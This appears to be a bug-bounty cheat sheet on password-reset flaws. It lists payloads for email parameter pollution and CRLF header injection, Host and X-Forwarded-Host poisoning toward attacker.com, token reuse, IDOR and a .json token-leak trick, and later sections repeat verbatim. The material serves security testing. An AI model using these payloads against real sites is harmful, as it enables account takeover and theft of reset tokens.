Password Reset

No Rate Limit on Forgot Password

Email Flooding or mail bombing

Account takeover using password reset

GET /passwordreset

# Double parameter
email=victim@xyz.tld&email=hacker@xyz.tld

# Carbon copy
email=victim@xyz.tld%0a%0dcc:hacker@xyz.tld

# Separators
email=victim@xyz.tld,hacker@xyz.tld
email=victim@xyz.tld%20hacker@xyz.tld
email=victim@xyz.tld|hacker@xyz.tld

# JSON table
{"email":["victim@xyz.tld","hacker@xyz.tld"]}

Source: https://x.com/bountywriteups/status/1843358474568421449?t=EAe-IUTLEhIKVjz9YK9cYQ&s=03

CRLF Injection

email = 'victim@mail.com%0d%0acc:attacker@mail.com'

/resetpassword?%0d%0aHost:attacker.com

Password reset token does not expire

Create your account on target Site.
Request for a forget password token.
Don't use that link
Instead logged in with your old password and change your email to other.
Now use that password link sents to old email and check if you are able to change your password if yes than there is the litle bug.

Source: https://x.com/bountywriteups/status/1843186551968399632?t=wf0m1BGx--rn6kZWTzB0Tg&s=03

Token Issues

Check if the token is reflected back in the response
Use another email's token on your victim's reset link

/reset/email=victim@mail.com?token=attacker_token

Try used tokens
Remove the token and check
Insecure token: MD5($email) or insecure uuid - version 1

Insecure UUID

Add json extension

Original Request

GET /ResetPassword HTTP/1.1 
{"email":"victim@example.com"}

Original Response HTTP/1.1 200 OK

Try adding .json extension

Modified Request

GET /ResetPassword.json HTTP/1.1 
{"email":"victim@example.com"}

Modified Response

HTTP/1.1 200 OK 
{"success":"true","token":"uuid_value"}

Change Headers

Add X-Forwarded-Host: attacker.com
Host: Attacker.com

IDOR

1- Ask for reset password link

2- Click on the link and add new password

3- Intercept the request with burpsuite

4- Found parameter called email

5- Replaced my email to victim email

6- Found the password of the victim changed

CSRF

OTP

2FA / OTP

Resources

Previous2FA / OTP NextSQL Injection

Last updated 17 days ago

Account takeover using password reset

GET /passwordreset

# Double parameter
email=victim@xyz.tld&email=hacker@xyz.tld

# Carbon copy
email=victim@xyz.tld%0a%0dcc:hacker@xyz.tld

# Separators
email=victim@xyz.tld,hacker@xyz.tld
email=victim@xyz.tld%20hacker@xyz.tld
email=victim@xyz.tld|hacker@xyz.tld

# JSON table
{"email":["victim@xyz.tld","hacker@xyz.tld"]}

Password reset token does not expire

Create your account on target Site.

Request for a forget password token.

Don't use that link

Instead logged in with your old password and change your email to other.

Now use that password link sents to old email and check if you are able to change your password if yes than there is the litle bug.

Add json extension

Original Request

GET /ResetPassword HTTP/1.1 
{"email":"victim@example.com"}

Original Response HTTP/1.1 200 OK

Try adding .json extension

Modified Request

GET /ResetPassword.json HTTP/1.1 
{"email":"victim@example.com"}

Modified Response

HTTP/1.1 200 OK 
{"success":"true","token":"uuid_value"}